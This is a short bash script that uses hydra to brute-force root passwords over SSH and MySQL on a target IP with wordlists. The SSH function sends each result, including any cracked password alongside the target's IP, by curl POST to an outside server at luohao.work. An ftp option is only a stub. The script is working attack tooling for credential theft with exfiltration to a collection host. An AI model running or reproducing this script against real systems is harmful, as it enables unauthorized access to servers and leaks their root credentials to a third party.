#!/usr/bin/env bash

ip=$2

rm -rf hydra.restore
ssh(){
    echo " ">result.txt
#    cmd="sudo  hydra -l root -P ./6_.txt -o result.txt -f -t 4 ssh://$1 "
    cmd="sudo  hydra -l root -P ./1k.txt -o result.txt -f -t 4 ssh://$1 "
    eval $cmd
    res=`cat result.txt`
    pass=`echo $res | sed 's/.*password: \(.*\)/\1/g'`
    if [[ $res =~ "password" ]]
    then
        echo $pass
        req="curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
        \"ip\": \"$1\" ,\
        \"attackResult\":\"$pass\"
        }' 'http://www.luohao.work/target/sshRes'"
        eval $req
    elif [[ $pass =~ "password" ]]
    then
        req="curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
        \"ip\": \"$1\" ,\
        \"attackResult\":\"error\"
        }' 'http://www.luohao.work/target/sshRes'"
        eval $req
        echo $res >> "error.txt"
    else
        req="curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
        \"ip\": \"$1\" ,\
        \"attackResult\":\"fail\"
        }' 'http://www.luohao.work/target/sshRes'"
        eval $req
    fi

}

mysql(){
    cmd="hydra $1  mysql -l root -P ./6_.txt"
    eval $cmd

    echo "done"
}

ftp(){
    eval "ftp"
    echo "done"
}




case $1 in
  ssh)
    ssh $2;;
  mysql )
    mysql $2;;
  ftp)
    ftp ;;
  *)
    echo '{ssh|ftp|mysql|oo}' ;;
esac

